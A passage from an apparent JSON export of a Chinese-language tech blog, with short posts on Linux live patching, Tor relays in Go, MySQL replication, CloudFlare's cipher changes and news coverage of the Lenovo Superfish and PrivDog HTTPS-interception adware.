內引入對應的 API，讓 Userland 的程式可以實現對應的功能：\r\n\r\n<blockquote>It provides a basic infrastructure for function \"live patching\" (i.e. code redirection), including API for kernel modules containing the actual patches, and API/ABI for userspace to be able to operate on the patches (look up what patches are applied, enable/disable them, etc).</blockquote>\r\n\r\n可以馬上想到的是，之後更新 <a href=\"http://dev.mysql.com/\">MySQL</a> 就不用重熱 InnoDB 的 data 了，來繼續關注進展...",
    "title": "Open Source 版本的「不重開機更新 Linux Kernel」，kSplice 的替代方案"
  },
  {
    "id": "5598",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 的 <a href=\"https://mozilla.github.io/shumway/\">Shumway</a> 專案是用 JavaScript 實作的 Flash Player，算是把 Flash Plugin 淘汰掉的方案：\r\n\r\n<blockquote>Shumway is an HTML5 technology experiment that explores building a faithful and efficient renderer for the SWF file format without native code assistance.</blockquote>\r\n\r\n由於是跑在 JavaScript 內，安全性受到 <a href=\"https://en.wikipedia.org/wiki/SpiderMonkey_(software)\">SpiderMonkey</a> 的 Sandbox 保護，相較於 Adobe 常常出 security update 讓人有點頭痛...\r\n\r\n最近 Shumway 的大進展是在 <a href=\"https://nightly.mozilla.org/\">Firefox Nightly Channel</a> 啟用了部份網站，可以測試 Amazon.com 上的影片：「<a href=\"https://mail.mozilla.org/pipermail/firefox-dev/2015-February/002683.html\">Firefox Nightly now plays Amazon.com Flash videos using Shumway</a>」。\r\n\r\n不知道有沒有機會 porting 到 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上面...",
    "title": "Mozilla 的 Shumway 登陸 Firefox Nightly Channel"
  },
  {
    "id": "5599",
    "body": "<a href=\"http://m0n0.ch/\">m0n0wall</a> 算是元老級的 firewall 套件，看到「<a href=\"http://m0n0.ch/wall/end_announcement.php\">End of the m0n0wall project</a>」這個消息還是有點感慨啊...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fsQZnVg.webp\" /><img src=\"https://i.gslin.com/imgur/fsQZnVg.jpg\" alt=\"\" /></picture>\r\n\r\n有很多類似的 project 興起取代掉了 m0n0wall 的位置 (像是 <a href=\"https://www.pfsense.org/\">pfSense</a>)，這讓我想到前陣子 <a href=\"http://www.catb.org/~esr/\">esr</a> 在「<a href=\"https://lists.gnu.org/archive/html/emacs-devel/2015-02/msg00457.html\">Defending GCC considered futile</a>」提到 <a href=\"https://gcc.gnu.org/\">GCC</a> 的沒落時講的話：\r\n\r\n<blockquote>Obsolescence happens; this is nobody's fault.  It will happen to clang/LLVM someday, too, but today is not that day.</blockquote>",
    "title": "m0n0wall 的終結"
  },
  {
    "id": "5600",
    "body": "在 <a href=\"http://zite.com/\">Zite</a> 上看到的「<a href=\"http://www.tvdw.eu/blog/2015/01/24/implementing-a-tor-relay-from-scratch/\">Implementing a Tor relay from scratch</a>」，用 <a href=\"https://golang.org/\">Go</a> 寫的 <a href=\"https://www.torproject.org/\">Tor</a> Relay Server。\r\n\r\n會跳下去用 Go 寫是因為效能上的考量：\r\n\r\n<blockquote>[...], but the lack of AES-NI instructions on the CPUs cause a significant slowdown.</blockquote>\r\n\r\n但因為一個 IP 只能跑兩個 instance，這就有點痛了：\r\n\r\n<blockquote>To maximize the amount of relayed data, it is normal to simply run multiple instances of the program, up to two per IP address.</blockquote>\r\n\r\n而作者的目標是超過現有的極限：\r\n\r\n<blockquote>My final goal was to beat the Tor speed record, which was at roughly 200 megabytes per second.</blockquote>\r\n\r\n成果就是直接吃滿 2Gbps (250MBytes/sec)，而且 CPU 只用了 60%：\r\n\r\n<blockquote>[...] He set up a server with my relay and within a few days we had broken the Tor speed record with a nice 250 megabytes per second, effectively maxing out the network link. CPU usage was at a nice 60% across 12 cores. But his relay also suffered from the memory issues and had to be restarted every few days.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zgyo9PD.webp\" /><img src=\"https://i.gslin.com/imgur/Zgyo9PD.jpg\" alt=\"\" /></picture>\r\n\r\n作者的程式碼放在 <a href=\"https://github.com/\">GitHub</a> 上，之後應該會有人跳進去改寫：「<a href=\"https://github.com/tvdw/gotor\">A fast implementation of the Tor OR code, in Go</a>」。",
    "title": "用 Go 寫的 Tor Relay Server"
  },
  {
    "id": "5601",
    "body": "剛剛看到 AWS 宣佈接受不同幣別的付款：「<a href=\"https://aws.amazon.com/blogs/aws/new-set-preferred-payment-currency-for-your-aws-account/\">New – Set Preferred Payment Currency for your AWS Account</a>」。\r\n\r\n當你使用 <a href=\"http://www.visa.com/\">Visa</a> 或是 <a href=\"http://www.mastercard.com/\">MasterCard</a> 時，除了美金外，目前支援這些幣別：\r\n\r\n<ul>\r\n\t<li>Australian Dollars (AUD)</li>\r\n\t<li>Swiss Francs (CHF)</li>\r\n\t<li>Danish Kroner (DKK)</li>\r\n\t<li>Euros (EUR)</li>\r\n\t<li>British Pounds (GBP)</li>\r\n\t<li>Hong Kong Dollars (HKD)</li>\r\n\t<li>Japanese Yen (JPY)</li>\r\n\t<li>Norwegian Kroner (NOK)</li>\r\n\t<li>New Zealand Dollars (NZD)</li>\r\n\t<li>Swedish Kronor (SEK)</li>\r\n\t<li>South African Rand (ZAR)</li>\r\n</ul>\r\n\r\n來找業務問一下是不是可以從這些地區出帳，透過<a href=\"http://www.mof.gov.tw/ct.asp?xItem=70135&amp;CtNode=2839&amp;mp=67\">租稅協定</a>來降低稅額...",
    "title": "AWS 接受不同的幣別付款"
  },
  {
    "id": "5604",
    "body": "<a href=\"http://www.openstreetmap.org/\">OpenStreetMap</a> 宣佈支援路線規劃：「<a href=\"https://blog.openstreetmap.org/2015/02/16/routing-on-openstreetmap-org/\">Routing on OpenStreetMap.org</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/pKC9qDL.gif\" alt=\"\" />\r\n\r\n不過我拿台灣的地圖測試，好像不太行 XD",
    "title": "OpenStreetMap 支援路線規劃"
  },
  {
    "id": "5605",
    "body": "在「<a href=\"http://www.labnol.org/internet/adblock-with-google-analytics/28819/\">Find How Many Visitors Are Not Seeing Ads on your Website</a>」這篇介紹了如何用 <a href=\"http://www.google.com/analytics/\">Google Analytics</a> 的 <a href=\"https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide\">_trackEvent</a> 偵測網站上有多少使用者使用 Adblock 類的軟體。\r\n\r\n不過這完全會低估啊，會在意廣告而裝 Adblock 類的人之中，不少人還會順便擋掉 Google Analytics 啊 XD\r\n\r\n不過這篇有提到一份報告，說 2014 整個 internet 使用 Adblock 的比率大約是 5%，而科技類網站會高出更多：(不過我抓不動這份 PDF...)\r\n\r\n<blockquote>It is estimated that ~5% of website visitors are blocking ads (<a href=\"http://downloads.pagefair.com/reports/adblocking_goes_mainstream_2014_report.pdf\">PDF report</a>) and the situation could be far worse for websites that have a more tech-savvy audience.</blockquote>",
    "title": "用 Google Analytics 偵測有多少使用者使用 Adblock"
  },
  {
    "id": "5607",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的：「<a href=\"http://blogs.msdn.com/b/ie/archive/2015/02/18/bringing-asm-js-to-the-chakra-javascript-engine-in-windows-10.aspx\">Bringing asm.js to the Chakra JavaScript engine in Windows 10</a>」。\r\n\r\n這樣只剩下 Safari 還沒支援，其他幾個主流瀏覽器都支援了：(出自維基百科「<a href=\"https://en.wikipedia.org/wiki/Asm.js\">asm.js</a>」條目)\r\n\r\n<blockquote>Mozilla Firefox was the first web browser to implement asm.js-specific optimizations, starting with Firefox 22. The optimizations of Google Chrome's V8 JavaScript engine in Chrome 28 made asm.js benchmarks more than twice as fast as prior versions of Chrome.</blockquote>",
    "title": "Windows 10 的 IE 將會有 asm.js 支援"
  },
  {
    "id": "5608",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到的，<a href=\"https://www.google.com/\">Google</a> 把之前買下的 <a href=\"http://www.skyboximaging.com/\">Skybox</a> 所開發的工具 MapReduce for C (MR4C) 放出來：「<a href=\"https://gigaom.com/2015/02/18/google-open-sources-a-mapreduce-framework-for-c/\">Google open sources a MapReduce framework for C/C++</a>」。\r\n\r\nMR4C 的程式碼放在 <a href=\"https://github.com/\">GitHub</a> 上，以 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License Version 2.0</a> 授權放出來：「<a href=\"https://github.com/google/mr4c\">google/mr4c</a>」。",
    "title": "Google 將之前買下 Skybox 公司的工具放出來 (MapReduce for C)"
  },
  {
    "id": "5609",
    "body": "<strong>Update</strong>：參考「<a href=\"https://blog.gslin.org/archives/2015/02/24/5622/%E8%81%AF%E6%83%B3%E8%88%87-superfish-%E7%9A%84%E6%B3%95%E5%BE%8B%E8%A8%B4%E8%A8%9F%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%BE%8C%E7%BA%8C%E7%9A%84%E7%99%BC%E5%B1%95/\">聯想與 Superfish 的法律訴訟，以及後續的發展...</a>」。\r\n\r\n<strong>Update</strong>：後續參考「<a href=\"https://blog.gslin.org/\">聯想對 Superfish 的新聞稿、反安裝說明，以及影響的機器列表</a>」。\r\n\r\n今天的大條新聞，不少傳統媒體也都有報導：\r\n\r\n<ul>\r\n\t<li><a href=\"http://www.bbc.com/news/technology-31533028\">Lenovo taken to task over 'malicious' adware</a></li>\r\n\t<li><a href=\"http://www.forbes.com/sites/thomasbrewster/2015/02/19/superfish-need-to-know/\">How Lenovo's Superfish 'Malware' Works And What You Can Do To Kill It</a></li>\r\n\t<li><a href=\"http://thenextweb.com/insider/2015/02/19/lenovo-caught-installing-adware-new-computers/\">Lenovo caught installing adware on new computers</a></li>\r\n</ul>\r\n\r\n另外「<a href=\"http://marcrogers.org/2015/02/19/lenovo-installs-adware-on-customer-laptops-and-compromises-all-ssl/\">Lenovo installs adware on customer laptops and compromises ALL SSL.</a>」這篇講得還蠻完整的。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EDjnSmZ.webp\" /><img src=\"https://i.gslin.com/imgur/EDjnSmZ.jpg\" alt=\"\" /></picture>\r\n\r\n這次的 adware 還被更歸類到 malware 就是因為他會在本機上安裝自己的 CA root，解開所有的 HTTPS traffic 並且插入廣告。<strong>而這包括了銀行網站、醫療網站、各種極度隱私的加密服務。</strong>\r\n\r\n<blockquote>Is Superfish malware?\r\n\r\nLenovo won’t want anyone to call it that, but Superfish has been described as a piece of malware, or an adware pusher, that the Chinese firm pre-installs on consumer laptops.</blockquote>\r\n\r\n在「<a href=\"http://blog.erratasec.com/2015/02/extracting-superfish-certificate.html\">Extracting the SuperFish certificate</a>」這邊有告訴你方法，教你取得 SuperFish 的 protected private key &amp; key password。不過不確定每一台機器是不是都一樣，作者把取出來的 pem 檔放在「<a href=\"https://github.com/robertdavidgraham/pemcrack/blob/master/test.pem\">test.pem</a>」這邊。",
    "title": "聯想在筆電上安裝 Adware"
  },
  {
    "id": "5611",
    "body": "<a href=\"http://www.oracle.com/\">Oracle</a> 的 Andrew Morgan 前幾天辦了場 Webinar，投影片以及一些說明有放出來讓大家事後可以參考：「<a href=\"http://www.clusterdb.com/mysql/choosing-the-right-mysql-high-availability-solution-webinar-replay\">Choosing the right MySQL High Availability Solution – webinar replay</a>」。\r\n\r\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/44927297\" width=\"425\" height=\"355\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen></iframe>\r\n\r\n<img src=\"https://i.gslin.com/imgur/3Blo03N.jpg\" alt=\"\" />\r\n\r\n其中第七頁的開頭「Don’t assume 99.999% HA needed for all apps」這句帶出了一個重點：99.999% 的每一個九都是成本，而且不是可以簡單帶過去的成本。\r\n\r\n<img src=\"https://i.gslin.com/imgur/I087t7S.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/BrDoAwz.jpg\" alt=\"\" />\r\n\r\n第八頁與第九頁給出了不同 HA 層級中的每個方案 (要注意到這是以 Oracle 的觀點來看)，至於最後面將近五十頁的產品介紹看看就好... XD",
    "title": "Oracle 對 MySQL HA 方案的介紹"
  },
  {
    "id": "5613",
    "body": "<strong>Update</strong>：參考「<a href=\"https://blog.gslin.org/archives/2015/02/24/5622/%E8%81%AF%E6%83%B3%E8%88%87-superfish-%E7%9A%84%E6%B3%95%E5%BE%8B%E8%A8%B4%E8%A8%9F%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%BE%8C%E7%BA%8C%E7%9A%84%E7%99%BC%E5%B1%95/\">聯想與 Superfish 的法律訴訟，以及後續的發展...</a>」。\r\n\r\n上一篇「<a href=\"https://blog.gslin.org/archives/2015/02/20/5609/%E8%81%AF%E6%83%B3%E5%9C%A8%E7%AD%86%E9%9B%BB%E4%B8%8A%E5%AE%89%E8%A3%9D-adware/\">聯想在筆電上安裝 Adware</a>」由於被證實每一台機器都是一樣的 CA key，所以這把 key 將可以拿來攻擊這些電腦。\r\n\r\n各家的 Spyware/Adware/Malware 清除軟體都把 Superfish 納入了：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Looks like Redmond invoked the nuclear option on Superfish &gt; RT <a href=\"https://twitter.com/FiloSottile\">@FiloSottile</a>: GO MICROSOFT <a href=\"http://t.co/5fpSDS9VLq\">pic.twitter.com/5fpSDS9VLq</a></p>&mdash; Kenn White (@kennwhite) <a href=\"https://twitter.com/kennwhite/status/568803956996087808\">February 20, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"http://www.lenovo.com/\">聯想</a>官方的新聞稿中裡面有受到影響的機器列表：「<a href=\"http://news.lenovo.com/article_display.cfm?article_id=1929\">LENOVO STATEMENT ON SUPERFISH</a>」。\r\n\r\n<ul>\r\n\t<li>G Series: G410, G510, G710, G40-70, G50-70, G40-30, G50-30, G40-45, G50-45</li>\r\n\t<li>U Series: U330P, U430P, U330Touch, U430Touch, U530Touch </li>\r\n\t<li>Y Series: Y430P, Y40-70, Y50-70</li>\r\n\t<li>Z Series: Z40-75, Z50-75, Z40-70, Z50-70</li>\r\n\t<li>S Series: S310, S410, S40-70, S415, S415Touch, S20-30, S20-30Touch</li>\r\n\t<li>Flex Series: Flex2 14D, Flex2 15D, Flex2 14, Flex2 15, Flex2 14(BTM), Flex2 15(BTM), Flex 10</li>\r\n\t<li>MIIX Series: MIIX2-8, MIIX2-10, MIIX2-11</li>\r\n\t<li>YOGA Series: YOGA2Pro-13, YOGA2-13, YOGA2-11BTM, YOGA2-11HSW</li>\r\n\t<li>E Series: E10-30</li>\r\n</ul>\r\n\r\n另外聯想提供了反安裝說明，除了可以用自動化程式處理外，也可以用手動刪除，第一步是先反安裝 Superfish，移除完成後要清除所有 CA root 資料，包括 Windows 系統內 (IE、<a href=\"https://www.google.com/chrome\">Chrome</a>、... 使用系統的 CA 資料) 以及 <a href=\"https://www.mozilla.com/firefox/\">Firefox</a> 的：「<a href=\"http://support.lenovo.com/us/en/product_security/superfish_uninstall\">Superfish Uninstall Instructions</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Xh4WAC9.webp\" /><img src=\"https://i.gslin.com/imgur/Xh4WAC9.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O5cVx3i.webp\" /><img src=\"https://i.gslin.com/imgur/O5cVx3i.jpg\" alt=\"\" /></picture>\r\n\r\n用自動化移除的人，建議做完以後還是手動檢查。",
    "title": "聯想對 Superfish 的新聞稿、反安裝說明，以及影響的機器列表"
  },
  {
    "id": "5615",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的 Fernando Laudares 在「<a href=\"http://www.percona.com/blog/2015/02/20/how-to-setup-a-pxc-cluster-with-gtids-and-have-async-slaves-replicating-from-it/\">How to setup a PXC cluster with GTIDs (and have async slaves replicating from it!)</a>」這篇裡提到了 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 5.6 與 <a href=\"https://dev.mysql.com/doc/refman/5.6/en/replication-gtids-concepts.html\">GTIDs</a> 的配合方式。\r\n\r\n傳統的 replication 的 binlog 的表示方式是 filename + position，這個是大家已經很熟悉的方式。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WmE4Z3V.webp\" /><img src=\"https://i.gslin.com/imgur/WmE4Z3V.jpg\" alt=\"\" /></picture>\r\n\r\n<pre>digraph {\r\n    M1 [label=\"Master 1\"];\r\n    M2 [label=\"Master 2\"];\r\n\r\n    S1 [label=\"Slave 1\"];\r\n    S2 [label=\"Slave 2\"];\r\n    S3 [label=\"Slave 3\"];\r\n    S4 [label=\"Slave 4\"];\r\n\r\n    { rank=same; M1; M2; };\r\n\r\n    { rank=same; S1; S2; S3; S4; };\r\n    S1 -&gt; S2 -&gt; S3-&gt; S4 [style=invis];\r\n\r\n    M1 -&gt; M2;\r\n    M2 -&gt; M1;\r\n\r\n    M1 -&gt; {S1, S2, S3, S4};\r\n    M2 -&gt; {S1, S2, S3, S4} [color=gray];\r\n}</pre>\r\n\r\n優點是很簡單 (很好理解，也很容易設定管理)，但缺點是 Slave 的 Master 跳動時 (從 Master 1 跳到 Master 2)，Slave 可能會漏資料。\r\n\r\n原因是出自於 <a href=\"http://mysql-mmm.org/\">MMM</a> 之類的工具無法知道 Master 1 最後一筆寫入的資料對應到 Master 2 的哪個 binlog 位置。\r\n\r\n在 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 之後多了新的模式，叫做 GTIDs (Global Transaction IDs)，把本來 binlog 的 filename + position 改良一下，變成 source_id + transaction_id 的形式。\r\n\r\nsource_id 是每台機器固定的值，目前是用 UUID 代表，而 transaction_id 則是遞增的流水號。所以也很好理解：「source_id 這台機器的第 n 個 transaction」。\r\n\r\n這樣就可以多出很多偵測機制，降低問題發生的機率。\r\n\r\n而 PXC 5.6 在這個領域則是因為已經有了自己的 cluster 機制，所以整個 cluster 會共用一組 UUID。這樣就可以避免混用機制而產生複雜的問題。\r\n\r\n所以就變成三台 Master 互相切換 (通常 PXC 都是三台以上的奇數機器)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BQwJNjr.webp\" /><img src=\"https://i.gslin.com/imgur/BQwJNjr.jpg\" alt=\"\" /></picture>\r\n\r\n或是其中兩台互相切換 (第三台只跑 <a href=\"http://galeracluster.com/documentation-webpages/arbitrator.html\">garbd</a> 而沒有實際資料時)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NTPWEU4.webp\" /><img src=\"https://i.gslin.com/imgur/NTPWEU4.jpg\" alt=\"\" /></picture>\r\n\r\n我們家只剩下一組 cluster 是 PXC 5.5 (最大的一組)，其他都是 PXC 5.6 了。應該要找人 deploy 這個機制降低 Master 跳機時的人力操作成本了...",
    "title": "Percona XtraDB Cluster 5.6 與 GTIDs 的結合"
  },
  {
    "id": "5620",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 同時宣佈了停用 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 與支援 <a href=\"https://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-04\">ChaCha20+Poly1305</a> 的計畫：「<a href=\"https://blog.cloudflare.com/end-of-the-road-for-rc4/\">End of the road for RC4</a>」、「<a href=\"https://blog.cloudflare.com/do-the-chacha-better-mobile-performance-with-cryptography/\">Do the ChaCha: better mobile performance with cryptography</a>」。\r\n\r\n2014 年年初的時候，CloudFlare 先把 RC4 從 TLS 1.1+ 的連線拿掉，而 2014 年五月時，再把 RC4 搬到 cipherlist 裡優先權最低的，成功的讓 99.9991% 的 request 改用 <a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a> 與 <a href=\"https://en.wikipedia.org/wiki/Triple_DES\">3DES</a> (大約五個 9 )：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Bfxf62i.webp\" /><img src=\"https://i.gslin.com/imgur/Bfxf62i.jpg\" alt=\"\" /></picture>\r\n\r\n而九個月後的現在，CloudFlare 上 RC4 使用的比率則是降到了 0.000002%，反過來說也就是 99.999998% 的等級 (七個 9)，也讓 CloudFlare 決定直接停用掉 RC4。\r\n\r\n另外一個重大的新進展則是 ChaCha20+Poly1305，兩個都是 <a href=\"https://en.wikipedia.org/wiki/Daniel_J._Bernstein\">Daniel J. Bernstein</a> 的作品。其中 <a href=\"http://cr.yp.to/chacha.html\">ChaCha20</a> 是 stream cipher，<a href=\"http://cr.yp.to/mac.html\">Poly1305</a> 是 MAC。\r\n\r\n由於 RC4 已經不夠安全，在行動平台上要夠安全必須使用 AES，但 AES 在 <a href=\"http://www.arm.com/\">ARM</a> 上面還沒有普及：在 <a href=\"https://www.google.com/nexus/6/\">Nexus 6</a> 用的 ARMv7 不支援，是透過 <a href=\"https://www.qualcomm.com/products/snapdragon/processors/805\">Qualcomm Snapdragon 805</a> 的加掛模組做的，而在低階手機支援度就更不用說了。\r\n\r\n<a href=\"https://www.google.com/\">Google</a> 大力推動 ChaCha20+Poly1305 的目的，是為了在行動平台上找到一個與 RC4 可以匹敵的速度，而且有著可以超越 AES-GCM 安全性的 cipher+MAC。\r\n\r\n在 CloudFlare 採用 ChaCha20+Poly1305 前，Google 是唯一一個在 HTTPS 上大幅採用的單位，而瀏覽器的部份也只有 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 有支援。雖然 <a href=\"https://www.mozilla.com/firefox/\">Firefox</a> 一直有喊著要支援，但這是個雞生蛋蛋生雞的問題，可以看到進度不怎麼快 (<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=917571\">Bug 917571 - Support ChaCha20+Poly1305 cipher suites</a>)。\r\n\r\nCloudFlare 支援之後，使用 ChaCha20+Poly1305 的 pool 瞬間大了不少。可以看到一上線的使用率不算低，瞬間就有 10% 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DUZzPMK.webp\" /><img src=\"https://i.gslin.com/imgur/DUZzPMK.jpg\" alt=\"\" /></picture>\r\n\r\n希望可以推動 Firefox 快一點支援... (這是養大 pool 的下一步)",
    "title": "CloudFlare 宣佈停用 RC4，並且支援 ChaCha20+Poly1305"
  },
  {
    "id": "5622",
    "body": "在「<a href=\"http://www.howtogeek.com/210265/download.com-and-others-bundle-superfish-style-https-breaking-adware/\">Download.com and Others Bundle Superfish-Style HTTPS Breaking Adware</a>」這邊看到的 tweet，講的相當經典，把他找出來：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>Adware is malware with a legal team.</p>&mdash; InfoSec Taylor Swift (@SwiftOnSecurity) <a href=\"https://twitter.com/SwiftOnSecurity/status/555391137632890881\">January 14, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n文章裡面提到，Superfish 這種插入 CA root certificate 的軟體攔截 HTTPS 內容，不僅僅是 Superfish，這根本是目前免費軟體的「趨勢」，包括了十大裡面的前兩名：\r\n\r\n<blockquote>Two of the top ten downloads on CNET (KMPlayer and YTD) are bundling two different types of HTTPS-hijacking adware, and in our research we found that most other freeware sites are doing the same thing.</blockquote>\r\n\r\n在 <a href=\"https://www.facebook.com/\">Facebook</a> 的「<a href=\"https://www.facebook.com/notes/protect-the-graph/windows-ssl-interception-gone-wild/1570074729899339\">Windows SSL Interception Gone Wild</a>」提到了 Facebook 自己觀察到的情況：(SSL traffic 被 Superfish 換掉的百分比，中國地區因為廣為人知的原因，是沒有偵測到的...)\r\n\r\n<img src=\"https://i.gslin.com/imgur/UpTtIgt.jpg\" alt=\"\" />\r\n\r\n另外「<a href=\"https://gigaom.com/2015/02/23/beyond-superfish-turns-out-ssl-trashing-spyware-is-widespread/\">Beyond Superfish: Turns out SSL-trashing spyware is widespread</a>」也提到問題的嚴重性。\r\n\r\n甚至有些也偽裝成遊戲：「<a href=\"http://www.theguardian.com/technology/2015/feb/23/superfish-style-vulnerability-found-games-parental-control-software\">'Superfish'-style vulnerability found in games and parental control software</a>」：\r\n\r\n<blockquote>Rogers cites products including parental control software and IP-cloaking technology as containing the weakness, while Richard says Facebook discovered the certificates being issued by a number of adware vendors disguised as games or search assistants.</blockquote>\r\n\r\n實際用 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 下載 <a href=\"http://www.cnet.com/\">CNET</a> 上的 <a href=\"http://www.kmplayer.com/\">KMPlayer</a>，發現直接擋了下來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xPXfLha.webp\" /><img src=\"https://i.gslin.com/imgur/xPXfLha.jpg\" alt=\"\" /></picture>\r\n\r\n在之後的新版則會更明顯的顯示出來：「<a href=\"http://googleonlinesecurity.blogspot.com/2015/02/more-protection-from-unwanted-software.html\">More Protection from Unwanted Software</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/Xe0AG7B.jpg\" alt=\"\" />\r\n\r\n然後是訴訟的問題，在美國已經有消費者決定對<a href=\"http://www.lenovo.com/\">聯想</a>與 Superfish 打集體訴訟了，後續的判賠與和解可以繼續追蹤：「<a href=\"http://www.csoonline.com/article/2887088/legal/lenovo-hit-with-lawsuit-over-superfish-snafu.html\">Lenovo hit with lawsuit over Superfish snafu</a>」。",
    "title": "聯想與 Superfish 的法律訴訟，以及後續的發展..."
  },
  {
    "id": "5623",
    "body": "前幾天 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 發佈出來的消息，全世界最大的 SIM 卡製造商 <a href=\"http://www.gemalto.com/\">Gemalto</a> 被 <a href=\"https://www.nsa.gov/\">NSA</a> 與 <a href=\"http://www.gchq.gov.uk/\">GCHQ</a> 滲透進去，取得所有的 SIM key：「<a href=\"https://www.schneier.com/blog/archives/2015/02/nsagchq_hacks_s.html\">NSA/GCHQ Hacks SIM Card Database and Steals Billions of Keys</a>」、「<a href=\"http://threatpost.com/gemalto-hack-may-have-far-reaching-effects/111186\">Gemalto Hack May Have Far-Reaching Effects</a>」。\r\n\r\n<blockquote>The attack, reported by The Intercept, is breathtaking in its scope and audacity. Attackers allegedly associated with the NSA and GCHQ, the British spy agency, were able to compromise a number of machines on the network of Gemalto, a global manufacturer of mobile SIM cards.</blockquote>\r\n\r\n不過，只要牽扯上 NSA 與 GCHQ 這對搭檔，事情直接往最糟糕的方面去想就好了。可以假設他們家所有的產品線都失守，包括 <a href=\"https://aws.amazon.com/\">AWS</a> 所使用的硬體 2FA：「<a href=\"https://aws.amazon.com/iam/details/mfa/\">Multi-Factor Authentication</a>」。\r\n\r\n這讓我頭好痛...",
    "title": "Gemalto 被 NSA 與 GCHQ 滲透的問題..."
  },
  {
    "id": "5624",
    "body": "最近因為 Superfish 的關係，對 root certificate 的檢視就愈來愈仔細，在「<a href=\"http://zitseng.com/archives/7489\">The Mac Facilitates Spying Too</a>」這篇文章裡，作者發現 <a href=\"https://www.apple.com/osx/\">Mac OS X</a> 裡面有不少可疑的憑證，像是 <a href=\"http://www.defense.gov/\">DoD</a> (美國政府)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/tX4zHfD.jpg\" alt=\"\" />\r\n\r\n文章裡面提到包括了 US、JP、CN、TW。\r\n\r\n有人在 <a href=\"https://github.com/\">GitHub</a> 上放了 script，可以簡單的清除掉這些 root CA：「<a href=\"https://github.com/sammcj/delete-unknown-root-ca\">Delete Known Government-Linked Certificate Authorities in OS X</a>」，這隻程式也不難改，對於有疑慮的 CA 也可以放進去一併處理。",
    "title": "刪除 Mac OS X 裡面與政府相關的 SSL certificate"
  },
  {
    "id": "5627",
    "body": "從 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到，<a href=\"http://addyosmani.com/blog/\">Addy Osmani</a> 在 <a href=\"https://plus.google.com/\">Google Plus</a> 上提到的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/x5mFJ07.webp\" /><img src=\"https://i.gslin.com/imgur/x5mFJ07.jpg\" alt=\"\" /></picture>\r\n\r\n總算要改成比較有意義的文字了...",
    "title": "錯誤訊息「undefined is not a function」總算要改善了..."
  },
  {
    "id": "5628",
    "body": "感覺接下來的整個月會拿有無窮無盡的 Superfish-like 新聞，下次如果出現 <a href=\"https://www.nsa.gov/\">NSA</a> 或是 <a href=\"http://www.gchq.gov.uk/\">GCHQ</a> 已經在用這些漏洞的話也不太意外就是了：「<a href=\"https://blog.hboeck.de/archives/865-Adware-Privdog-worse-than-Superfish.html\">Adware Privdog worse than Superfish</a>」。\r\n\r\n<a href=\"http://www.privdog.com/\">PrivDog</a> 是 <a href=\"https://www.comodo.com/\">Comodo</a> 發行的 adware，比起 Superfish 更厲害，直接把 CA Certificate 的檢查關掉：\r\n\r\n<blockquote>It will turn your Browser into one that just accepts every HTTPS certificate out there, whether it's been signed by a certificate authority or not.</blockquote>\r\n\r\n而 Comodo 是發行 SSL certificate 的公司，很多便宜的 SSL certificate 都是由他們家發出來的... (包括我的 blog)",
    "title": "Comodo 的 PrivDog 更厲害：直接關掉 CA Certificate 檢查"
  },
  {
    "id": "5629",
